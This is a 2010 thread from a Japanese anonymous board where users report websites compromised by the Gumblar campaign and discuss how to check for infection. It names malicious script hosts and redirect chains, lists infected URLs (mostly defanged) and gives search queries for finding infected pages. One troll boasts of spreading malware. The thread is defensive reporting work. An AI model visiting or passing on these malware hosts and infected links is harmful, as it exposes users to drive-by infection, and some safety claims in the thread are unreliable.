- 729 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 21:05:50
- アメリカ人が損賠請求しないかな
- 730 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 23:57:20
- ttp://mamono.2ch.net/test/read.cgi/hiphop/1248625357/536
ttp://yutori7.2ch.net/test/read.cgi/campus/1275391180/105
ttp://changi.2ch.net/test/read.cgi/cchara/1274810547/877
ttp://changi.2ch.net/test/read.cgi/wcomic/1274275657/521
ttp://yutori7.2ch.net/test/read.cgi/soccer/1274426256/701
ttp://pc11.2ch.net/test/read.cgi/sec/1268032521/571
ttp://yutori.2ch.net/test/read.cgi/nhk/1269009072/51
↑悪用が収まらないので感染中のURL晒すのは止めたらいかがですか？
ウイルスばらまく連中に利用されてるように思います
- 731 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 00:16:26
- 2chで外部URLがあったらブラクラ・ウイルスだと思ってください
そして、このスレはちゃんと鯖管に通報したりしてますよね
>>730のリンクのスレにこのスレのリンクを貼って
対策を促せばいいんじゃないでしょうか
- 732 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 00:48:39
- >>730
「自己責任」という言葉はご存知無いのでしょうかネ？
>>656が書いてるように、２ちゃんねるの使い方＆注意 http://info.2ch.net/guide/faq.html#B4 には
>被害を未然に防止するためには、むやみにURLをクリックせず (中略) 転んでも泣かない。。。
貼ってあるURLを疑いもせず、いきなり踏むほうにも問題があります。
>>640も書いてますね。
取説をしっかり読んでから文句を言って下さい。
踏まされて悔しかったら、涙を拭いて…クリーンインストール後に>>4を実施しましょう。
因みに、http://gw.aguse.jp/ を通せば、何が仕掛けられていてもPCには影響が無いので覚えておいて下さい。
aguseはブックマーク推奨ですよ。
- 733 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 01:43:23
- >>730
つ｢鏡｣
- 734 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 13:12:03
- 昔から提示されたURLホイホイ踏むのはアホのやる事って言われてたしな
踏むものがブラクラからウイルスに変わっただけ
- 735 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 13:58:57
- www●maizurusou●co●jp/equip/index●html
だが、SonicWallのゲートウェイAVがGumlar_7として反応する。
しかし、ソースをみてもそれらしきものがみあたらん。
ちなみにウイルスバスターも反応しない。
SonicWall抜きでアクセスしても飛ばされた様子もない。
やられてますかね?
- 736 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 14:06:36
- どこに目を付けてんだ
フレームしか無いシンプルなトップにおもいっきりあるじゃんか
- 737 ：735：2010/06/14(月) 14:21:02
- >>736
ありがとう。逝ってきます・・
一応電凸しておいた。
「またでいすか?」という反応だった。
- 738 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 19:00:57
- ●com：8080ｷﾀｰ
www●yosegi●jp
- 739 ：名無しさん＠お腹いっぱい。：2010/06/14(月) 20:07:54
- >>730
お前いいかげん、うぜえよ
- 740 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 00:41:08
- 複数サイト管理してるんだが、そのうち1つが改竄されてた。
で、その鯖缶のサイトトップが改竄されてたようなんだが、これは自分は感染してないと見てOK?
- 741 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 01:34:21
- >>740
とりあえずスキャンしろ
- 742 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 02:43:36
- コテは好きじゃないけど仕方ないか…
>>740
不安に思ったら迷わずスキャンしたほうがいいですよ
それほど手間の掛かる作業でもありませんしね
>>735
メル凸しておきましたと事後報告
Gredで覗いた限りでは綺麗になってますね
>>738
メル凸しました
ついでにJPCERTに報告、Aviraに検体提出済み
- 743 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 08:13:56
- www●kobesaito●com
これも8080系
- 744 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 10:31:30
- そういや最近のGumblerだと対策せず感染したページ見たらウイルスをなすりつけてくるページに飛ばされるのかな？
それともウイルス自体埋め込みだから「感染した！」って解らない？
後者なら恐ろし過ぎるな、普段見てるページすら安心して出歩けないじゃん
過去ログ見る限りレジストリまで弄らないと対策不十分とまで言われるみたいだし
そこまで徹底しないとダメなんじゃあ今も感染が広がるのも納得
- 745 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 10:47:41
- >>727
検索して飛んだサイトから
そのドメインにリダイレクトされてびびったわ
FWでブロックしてたから接続されなかったけど
- 746 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 11:47:50
- >>743
さくらインターネット、JPCERTに報告しました
- 747 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 13:22:45
- >>744
> そういや最近のGumblerだと対策せず感染したページ見たらウイルスをなすりつけてくるページに飛ばされるのかな？
前のを知ってるならレス見てればわかると思うけど変わってないよ
レジストリまで確認しなきゃいけないのは稀な例で一般的にはそこまで必要ない
だいたいハンパなJREが入っていることの方が多い
サイト管理者が感染しても仕方ないという理由にはならないね
- 748 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 13:53:13
- artsplanet●biz
com：8080な件
- 749 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 14:54:55
- >>747
そのJREがコンパネで消しただけじゃダメだからアレなんじゃないの？
感染するのはホームページ持ってるユーザーだけじゃないし、
一般人にはコンパネで消した後も残骸が残ってる、しかも残ってる場所が1つの誤削除でPC動かなくなるかもしれないレジストリなんて予想だにせんよ
- 750 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:10:59
- >>749
一部のメーカー製PCだけプリインストールされてる古いバージョンが消せないってだけで
通常はそんなのないです
- 751 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:43:06
- GENOにかかってるか不安な奴はここを見てみ
このサイトのカーソルを当ててなくても波紋が出るならアウト
危険なサイトじゃない安心しろ一応
http://www.geocities.jp/saaikoka/omosiro/omosiro28.htm
- 752 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 15:46:01
- >>750
通常は、って言ったところで対象にはあるじゃん
プリインストール版はコンパネで消して、見た目は消えてても消した事にならないとか書いてないから被害広がってるところあるんじゃね？
ホントに根絶やしにしたいならそういうところもテンプレ徹底しなくちゃ
- 753 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 16:47:52
- んなレアケースのことなんざどうでもいいよ
どうしてもってならお前がテンプレ作れ
- 754 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/15(火) 17:29:42
- >>748
さくらインターネット、JPCERTに報告済み
Aviraに検体を提出しました
ttp://yamagata.int21h.jp/tool/GumblarChk/
こんなツールあったんですね
- 755 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 18:00:20
- >>752
自己防衛が目的であって根絶やしなんていう非現実的なものは目標ではないんだけど
テンプレおねがいしますね
- 756 ：名無しさん＠お腹いっぱい。：2010/06/15(火) 19:20:27
- >>754
すごいけど、3月から更新無いね
現在のものには無力じゃないかな？
- 757 ：コテハン ◆8080adndqg ：2010/06/15(火) 20:03:40
- >>754 乙乙
--
http://www.google.co.jp/search?hl=ja&source=hp&q=%22src%3D%22%2B%22http%3A%2F%2F%22%2B%22.ru%22OR%22.info%22OR%22.at%22OR%22.com%22%2B%22%3A8080%2F%22%2B%22.js%22%2B%22%3C%5C%2Fscript%3E%3C%22+-JScript+-localhost+-Analyzer+filetype%3Ahtml
色々試したけど、まったく釣れない･･orz
- 758 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/16(水) 04:57:20
- >>756
サイト構成やリンク先、スクリプトの一覧を一気に把握できるので、
意外と使い方次第かもしれない…とか思ってみたり
>>757
お疲れ様です、検索ワードが苦戦のほどを物語ってますね…
こちらもほぼお手上げ状態、何か良い方法はないものか
- 759 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 07:10:12
- bingで検索したほうがいいよ
- 760 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 16:15:55
- www■4gamer■net/
4亀やられてる？
- 761 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/16(水) 16:30:27
- ウイルス対策ソフトが反応しました？
- 762 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 16:36:25
- ＿＿_
|＿＿_ミ⌒ヽペタン
｜ ⌒)ノ ペタン
.＿ノ ） （(
| .・∀| （ 嘘ヽ
|＿＿| |￣￣￣|
/ > . | |
""""""""""""""""""""
- 763 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 17:10:03
- >>760
gredとAguseは無反応
Dan's View Sourceで見る限りあやしいコードは無さそうだけど？
あと、ここは鑑定スレじゃない
- 764 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 19:02:30
- じゃあそういう類の鑑定スレがあるのか……と言われるとな
結局Gumblerスレあるのここだけだし
初心者もここにすがるしかないんよね
- 765 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 19:04:17
- 勇気がなくて踏めないURL鑑定スレin初質 Part41
http://gimpo.2ch.net/test/read.cgi/qa/1274878983/
ここでいいじゃん
- 766 ：760：2010/06/16(水) 21:06:27
- >>761-765
8080フィルタが誤爆してただけだった
ホントすみません、4亀さんもすみませんでした
- 767 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 23:16:48
- 感染の確認方法がないのが痛い。
不安ならアンインストールｗ
- 768 ：名無しさん＠お腹いっぱい。：2010/06/16(水) 23:51:32
- >>767
怪しい確認方法よりスキャンのがはるかに良い
- 769 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 03:33:11
- ノートンゴーストで4日前に戻した
これでウィルスなくなってる？
- 770 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 07:34:59
- クリーンインスコとか普通なら最終手段なのにな
出現からもうすぐで一年になるのに感染したらこれしかないとか・・・
- 771 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 08:07:27
- 感染しているかどうかはどこで判断すればいいの？
- 772 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:25:47
- >>730
( ´,дゝ`)俺様こそがまさにウィルス貼りまくってる張本人だがなにか文句でも？
まるでこのスレの住人が同罪みたいな言いようだが、正確には共犯者なのだお( ´,дゝ`)ｳﾌ
それにお前のような奴がいるからやめられねぇ「踏ませ」はな(＇д＇)v
- 773 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:26:42
- >>771
テンプレをよーーく見たまえ
チェックするところ沢山あるから
ニパ（＇д＾）－☆
- 774 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 08:30:25
- 特に>>2で探すのが一番確実な方法ですね。
はい。調子に乗り乗りな気分です。
次スレでも同じことをするつもりです。
このスレの削除依頼出した奴、無駄な努力お疲れ。
(＇д＇)調子に乗り乗りの気分です(＇д＇)
- 775 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 08:52:44
- そういやaguseだと何処見れば対象のページがGumbler感染してるって教えてくれるんだろう
Gredは単純に「危険です」で教えてくれるんだろうけど、aguseは見るところ多すぎてゴチャゴチャでワケワカメ
- 776 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 09:39:15
- やべぇえええええ
(*＇д＇*)最近心がとても穏やかだぜ俺！！
悪意を持って悪をなしてたのに最近は天使のような心で悪をなしているお！！！
(＇｀д´＇)こ！このままでは！天使になってしまうではないかー！
- 777 ：(＇д＇) ◆yUyb3Tqn92 ：2010/06/17(木) 09:39:56
- さて
新宿VIPクリスタル行ってこよっと( ＇д＇)
- 778 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 09:56:45
- >>775
確かにわかりにくいよね
- 779 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 22:35:52
- >>771
アンチウィルスソフトにドライブバイダウンロード用のダウンローダが検出されたら
- 780 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 22:39:36
- ドライブバイダウンロード用のダウンローダがどこのフォルダに作成されたかが分かればいいのだがなあ
- 781 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 23:11:08
- >>775
取得画像の下にGumbler感染してる可能背がありますってでるぞ
- 782 ：名無しさん＠お腹いっぱい。：2010/06/17(木) 23:31:52
- >>780
そういうのは一時的にわかったとしても
1時間後には変更されてるかもしれないから意味がない
- 783 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 08:58:32
- www.value-2han●com
- 784 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 11:09:59
- 取扱注意
www●sakaue-farm●co●jp
農業IT化したらウィルス(害虫)にやられてたでござる
- 785 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/18(金) 15:05:55
- >>783
www●aguse●jp/?m=w&url=www●value-2han●com
> Trojan.JS.Iframe.mi
> temp●hbsouthmomsclub●com:8080/Website●js
警察庁に通報しました
>>784
www●aguse●jp/?m=w&url=www●sakaue-farm●co●jp
メル凸に反応した様でござる、「403 Forbidden」
[補足]
www●value-2han●com
http://www.virustotal.com/analisis/eba1f66d999a07fb74a3d32ec27cf59777ea07ddfcd2dffe3c122f2ea51626e0-1276835405
（com:8080/.jsを落とせず…aguse判定ではサイト消失っぽい）
↓
zbestfilm●net/media/kal/index●php
http://www.virustotal.com/analisis/6ce551224d79142bf877b8003fa0cee6a3bec0d478327537893fb48c7d6f1558-1276835152
↓
id40478●srvdata●ru/mif●js
http://www.virustotal.com/analisis/c42d6f6dfa044de4ff12bc8dd4e37418d5f6dec95e43a387798c999cf6edab0b-1276834287
- 786 ：名無しさん＠お腹いっぱい。：2010/06/18(金) 17:08:26
- 取扱注意
www●dord●co●jp
深海調査のエキスパートねぇ…
- 787 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/18(金) 18:11:54
- >>786
よく見つけてきますねえ…
メル凸済み、JPCERTに報告、反応待ち
- 788 ：八頭 ◆YAGApwSaEw ：2010/06/18(金) 22:01:30
- >>夷塚さん
お疲れ様
リアルタイムで危険性を痛感している方が指摘する、「オープンなやりとりは危険を伴う」という意見にも頷けるので
僕はここを「無いよりはマシな程度」の存在にすぎないと思ってます（早い話が必要無い派です）
- 789 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/19(土) 05:39:37
- >>787は、探すのが面倒なcom:8080を幾つも発掘している事に驚いている、
という意味で書いたのですが、読み返すと日本語おかしいですね
気が緩んでいたかな…申し訳ありません
>>788
まさか八頭氏からご指名とは驚きました
俺は「必要なくなる日が来るといいなあ」以上の事は考えてませんよ
- 790 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 12:16:04
- レス削除なかなかされないねぇ
このスレのテンプレ見て踏んで被害者が増えない事を祈るのみ
あと運営仕事しろ
- 791 ：コテハン ◆8080adndqg ：2010/06/19(土) 14:28:12
- 【陥落サイトのURL悪用厳禁】
www●leclat●net/blog/
- 792 ：コテハン ◆8080adndqg ：2010/06/19(土) 15:03:56
- >>789
確かに面倒なのでｓ･･orz
ttp://www.google.co.jp/search?q=%22.com%3A8080%2F%22%2B%22Access_Point.js%22+OR+%22Backup.js%22+OR+%22Cable_Modem.js%22+OR+%22Data_Type.js%22
+OR+%22Default.js%22+OR+%22Del.icio.us.js%22+OR+%22Finder.js%22+OR+%22Gigahertz.js%22+OR+%22Gnutella.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Hard_Copy.js%22+OR+%22Hardware.js%22+OR+%22HDMI.js%22+OR+%22JPEG.js%22+OR+%22
Kbps.js%22+OR+%22Kibibyte.js%22+OR+%22Link.js%22+OR+%22Name_Server.js%22+OR+%22Null.js%22+OR+%22OASIS.js%22+OR+%22Open_Source.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Page_View.js%22+OR+%22Parallel_Port.js%22+OR+%22Paste.js%22+OR+%22Raw_File.js%22
+OR+%22Scrolling.js%22+OR+%22Tag.js%22+OR+%22Telnet.js%22
ttp://www.google.co.jp/search?hl=ja&q=%22.com%3A8080%2F%22%2B%22Unix.js%22+OR+%22Undo.js%22+OR+%22Unfriend.js%22+OR+%22Unmount.js%22+OR+%22
Video_Card.js%22+OR+%22Webmaster.js%22+OR+%22Website.js%22+OR+%22Web_Page.js%22+OR+%22XML.js%22+OR+%22Yahoo.js%22
※「長い行ががが」と叱られたから、てきとーなとこで改行してありま。
あきた(から)ねる..
- 793 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/19(土) 17:36:09
- >>791
メル凸済み、反応待ち
- 794 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 21:52:23
- www●itecjapan●co●jp/js/jQuery●js
末尾のdocument.writeがそうだと思う
- 795 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 22:24:10
- www17●ocn●ne●jp/~pss/
- 796 ：名無しさん＠お腹いっぱい。：2010/06/19(土) 22:56:37
- www6●ocn●ne●jp/~mikajima/
- 797 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/20(日) 00:00:41
- >>794
>>795
JPCERT、IPAに報告しました
>>796
スクリプトが見当たりません…探し方が悪いのかな
- 798 ：名無しさん＠お腹いっぱい。：2010/06/20(日) 00:55:56
- >>797
センセイに聞くと
「このサイトはコンピュータに損害を与える可能性があります。」
ソースにそれっぽいのが無いから修正済かも･･
- 799 ：名無しさん＠お腹いっぱい。：2010/06/20(日) 13:55:12
- Last-Modified: Sat, 19 Jun 2010 09:10:53 GMT
修正したんだろね。
- 800 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 12:29:07
- Flash Playerの脆弱性を悪用、改ざんサイト訪問でウイルス感染の危険
http://internet.watch.impress.co.jp/docs/news/20100621_375855.html
二匹目のドジョウ狙いらしい
- 801 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 20:38:26
- スポーツ報知や日刊スポーツの
ttp○//as○sr○impact-ad○jp/hserver/
ってJavaScriptがあやしい・・・
- 802 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 21:45:30
- >>801
www.google.co.jp/search?q=%22impact-ad.jp%22
広告のようだけど、あやしいってのは具体的に？
アクセスしてみる限りは、ウェブ改竄の不正コードはない
>>800
国内サイトは十数件ぐらいやられたかんじ
www.google.co.jp/search?lr=lang_ja&q=%22in/yahoo.js%22&num=50
- 803 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 22:01:00
- >>802
801だが 1つの記事見てる間にクリック音が何回か鳴って
IE8左上の戻るサイト一覧のところにttp○//as○sr○impact-ad○jp/hserver・・・
があったからどうしたのかと思って
MSEでフルスキャンしたら何もウイルスは見つからなかった
- 804 ：名無しさん＠お腹いっぱい。：2010/06/21(月) 23:26:12
- >>803
トラッキングクッキーに反応しただけだと思わｒ
- 805 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 11:09:45
- 普段見てるページも感染してるんじゃないかって思って日々aguseで石橋を叩く日々だ
DELLで買った奴だからプリインストール版入ってて、コンパネで消したけど不安だよ
ここには対処法は「削除用外部ソフトウェアインスコでおｋ」で片づけられてるし……
初見には外部ソフトウェアは怖い
- 806 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 13:27:39
- 取扱注意
www●akuriru●jp
見た感じは8080っぽくないけど、jsファイルが危険すぎﾜﾛﾀ
Web_Page.js ＼(^o^)／
- 807 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 16:03:06
- Javaを完全にアンインストしたいならJavaRa使えば？
- 808 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 16:49:29
- とりあえず砂箱通してウェブ見てるけど
これも絶対じゃないからなぁ
- 809 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:17:20
- >>805
aguseはスルーもあるよ
- 810 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:45:13
- Chromeブラウザ、Flashに続いてPDFもプラグイン統合
http://journal.mycom.co.jp/news/2010/06/18/019/
関係ないか…
- 811 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:49:13
- http://docs.google.com/viewer
これみたいなもんだろ？
- 812 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:53:26
- >>809
確かgredもスルーするよな、ウイルスの特性上普段見てるサイトが次の日感染してて……なんてこともあり得るわけだから
恐ろしいったらありゃしない
>>807
外部ソフトウェアわざわざ使わなきゃいけないってのが不安なんだよ……
「プリインストールはコンパネで削除だけじゃむだ」と言って理由を聞かれると「レジストリに残骸が～」といつもあいまいに返して、その残骸の詳細はまったく出てこない
- 813 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 17:59:05
- >>811
簡易型のリーダーがプラグインとしてインスコされてた。
IEで開くよりは軽い気がする。
- 814 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:02:31
- >>813
ほうほう、Chrome OSに向けて着々と機能増やしてるね
- 815 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:35:31
- >>812
そもそもDELLにも残骸残ることが確定なの？
あれはNECの一部だけじゃないの？
相当古い機種じゃなきゃあんな変なプリインストールなくね？
- 816 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:46:40
- >>815
「残骸が残る」としか過去に言われてないからそこまで解らないんだ
そもそも残骸がどんなのか、どこにあるのか、regedit.exeで見たらどう映るのか
ただ「残骸あるある」だけでそこから先が全く話に出てないから……
- 817 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:52:58
- >>816
それっぽい単語でレジストリ検索してもでないならどうしようもなくね
そんな見えないもんに震えてないでDELLのサポートにでも聞けばいいんじゃないの
- 818 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 19:03:43
- >>817
期限切れた、アンインスコ済み、そもそも「それっぽい単語」ってのも初見にはサッパリ……
過去ログ読んで知ってそうな「残骸あるある」さんのログ見てもホントに「残骸あるよ」「メーカ品は残骸ある」のゴリ押しだけだし……
- 819 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 19:49:34
- >>818
javaくらい思いつかないか？
レジストリじゃなくてもとりあえずjava.exeをファイル検索してみる程度はやったの？
調べる気もなく過剰に心配してるだけならPC捨てるのが一番安全だよ
しかもDELLってだけで他の情報は隠蔽されてるから調べようがない
そもそも本当にそれはプリインストールされていたの？
この方法でOS入れなおせば余計なソフトははいらないっぽいけどどうなんだろ
http://supportapj.dell.com/support/topics/global.aspx/support/dsn/en/document?docid=179256#Issue8
- 820 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:36:49
- スレの過去ログ読んでもググっても解らないからこそ書いてるのに「調べる気もない」「PC捨てれば？」だなんて……
とりあえずjava.exe検索したらwindows\system32とprogramfile\jre6\binに一つずつあった
どっちも作成日時は2010/04/16だった
- 821 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:45:36
- すいません、検索しなおすとc\i386にも入っていました……
こちらは2005/11/10です
- 822 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:48:02
- なかようせえへんねんやったらもうピコピコこうたらへんで
- 823 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:53:31
- >>806
>>792
因みに、akuriru●jpは再発だｗ
渡辺司法書士はこっそり修正後、告知しないで隠蔽かにゃ？
search●yahoo●co●jp/search?p=%22●com%3A8080%2FWebmaster●js%22&ei=UTF-8&fr=top_ga1_sa&x=wrt&meta=fl%3D3
- 824 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:58:21
- akuriru●jp
こっそりなおしてる
- 825 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 02:47:36
- >>820
以下は通常JREインストールで入るjava.exe
> windows\system32とprogramfile\jre6\bin
java.exeを右クリック→プロパティからバージョンは確認できる
日付も新しいようだしまだこれはインストールされてるんじゃね
c\i386はリカバリ領域かなんかじゃないかと
- 826 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 08:33:52
- >>825
アドバイスありがとうございます
そちらの二つは両方とも「6.0.200.2」と最新でした
c\386は「5.0.60.5」でしたが、ググってみるとクリーンインストール用CDの予備みたいなものだと判明
実影響は無いようなので、実質プリインストールの残骸は無い、と見ても大丈夫ですか？
- 827 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 14:35:45
- >>826
ここで大丈夫と言っても何の保証もないんであとは自分で判断してください
- 828 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 18:16:55
- ipatukouta●altervista●org/php5/
- 829 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 23:51:35
- >828
多重トラップ注意
- 830 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 01:30:24
- >>3
>まず、感染したかどうかは>>2のチェッカーで確認しましょう
これはどういう意味なのでしょうか？
>>2のリンク先をクリックすれば良いのですか？
- 831 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 02:28:14
- テンプレ罠だらけだから
- 832 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 02:42:27
- >>830
>>4よめ
感染したかについてはスキャンしてなにか出てきたら当たりかもしれない
- 833 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 08:25:34
- もうセキュリティー板は、質問すること自体が誤った行為だとつくづく思いました。
自分で調べるのが一番。
- 834 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 09:34:43
- やっと理解したか
おめでとう
- 835 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 12:03:35
- ｺﾝｸﾞﾗｯﾁｭﾚｰｼｮﾝ
,―＝=７ Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！ ｺﾝｸﾞﾗｯﾁｭﾚｰｼｮﾝ
|く ___ _> Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！
ｆll｀ｰU+'
｀''､ ｰ=| おめでとう・・・・・・・・！
_,,..-´:|ヽー-;ｰ..,,_
. ,－＝-, ,,..-‘≡≡:| ><´|≡::|ヽ おめでとう・・・・・・・・！ おめでとう・・・・・・・・！
. | l____ヽ.|≡ｌ≡≡≡| |::| |≡:::/::|
. |(ｌｌｰ´_ヽ|≡|≡≡≡|.|:::|ｌ≡::/::::| おめでとう・・・・・・・・・・・・！
.. ４ ｌ__｀=|_|≡:|≡≡≡::||:::|'≡/≡|
／|＼,.･|::≡:|ヽ|≡≡≡≡≡:::/|≡::| ＿,,.........､
≡|/}:ヽ|:≡|::::|{≡≡≡≡≡:::{ .|≡::| ヽ_,, ヽ
≡:| |:::|ｌ≡:|≡|:|≡≡≡≡≡:::|. .|≡::| /_> |
:::≡ｌ|:::|'≡:|≡:|::|≡≡≡≡≡:::|. .|≡::| |７ llう.. |
≡≡≡≡/|≡ヽ≡≡≡≡≡::::|. ..|≡::|. ｚ-..,〃、 ﾑ__ ll´.. |
::≡≡≡::/ ヽ≡ヽ≡::|―､≡≡::ｌ ..|≡::| / ﾐ 1´/ヽ＝=,...
::≡≡≡| ＼≡ヽ::| ヽ≡≡ｌ .ｌｊヽｌ | 刀､ﾐ _,,,..-｀‐三＝ー-
::≡≡≡| |ヽ／ｰ.、.. ヽ≡≡ｌ. .|/ | ノ= ∠i /ヽ､≡≡≡≡≡
:|￢､≡≡ヽ. |≡ゞー=ッ |≡≡| __／ (ll ｰ゜＼|ヽ. /≡::ヽ≡≡≡≡≡
:| ヽ≡≡ヽ |≡≡ヽミ. |≡≡| ｌ|. ll７| ヽu＝/ｌ二ll二ｌ'''ヽ /≡:::/≡≡≡≡≡
- 836 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 13:23:57
- そして自分で調べる過程で踏むんですねわかります
マジで初心者にも分かるgumblerスレないよな
これじゃ身内同士だけで身を固めてるだけで「騒ぎ収まらないねー」と愚痴っても
そりゃ収まらんわって気が
wikiも現行版に完全に通用しない古い情報ばかりだしな……
- 837 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 14:33:41
- AdobeReaderじゃなくてFoxit Reader使ってる
- 838 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:16:48
- >>836
そんな狭い規模で起きてるわけじゃないんで
ここがどんなにがんばろうがそれだけで収まるようなもんじゃないよ
初心者スレなんて立ててもバカが混乱したレスするだけで何もならないだろ
同人板がまさにそんな感じだったはず
wikiは見てないから知らんけど変えたいならお前が変えてやれば良いんじゃね
初心者用ならこういうのが良さそう
http://www.so-net.ne.jp/security/news/newstopics_201005.html
http://www.so-net.ne.jp/security/news/newstopics_201001.html
- 839 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:41:01
- >>838
いや、「騒ぎ収まらないねー」ってぼやいてる人達が滑稽に見えただけさ
俺個人はもう対策終えてるし自分の警戒で手いっぱいだから
そこからさらに慈善事業やろうとは思わない
まぁここですらまともな人が来るまで「パソコン捨てれば？」等の問題外な返しで埋まってる事もあるしな……
テンプレまで改竄されて犯罪まがいの事まで起きるし
ID出ない板故致し方なしか
- 840 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:52:27
- パソがおかしくなりました＞＜程度の質問しかできないような人が大量に来たら
そりゃ誰でも疲れてPC捨てろという程度の回答になるのは仕方ないんじゃね
まともな質問ができなきゃまともな回答にはならない
まともな人が来るっていうのは要するに
そのときまでのパソ壊れた助けて攻撃に心が折れてない人が来るってことじゃないかと
テンプレ改ざんは別件だけども
- 841 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 17:11:50
- >>840
それでもそんなアホな返しをしちゃったら「まともな質問しない奴」と同レベルになっちゃうワケで
傍から見れば同レベルにしか見えない
そういうのはスルーでいいんだぜ……？
テンプレ改竄はどうにかならんかな……
- 842 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 20:06:35
- そもそもセキュリティ板とか言いながらIDすら非表示な時点でなｗ
- 843 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 21:27:10
- www4●ocn●ne●jp/~motegi/ ←不動産屋 連絡するが対処せず
www4●ocn●ne●jp/~hanko/ ←はんこや 連絡するが対処せず
www1●ocn●ne●jp/~orchid08/sub5●html ←不動産屋 連絡するが対処せず
www16●ocn●ne●jp/~nisikawa/
www17●ocn●ne●jp/~hidib●j/sirase●html
www2●ocn●ne●jp/~hcy/ryoukin●html （gumblar x）
www2●ocn●ne●jp/~lakeside/
OCNの対応は非常に遅い
- 844 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 21:41:57
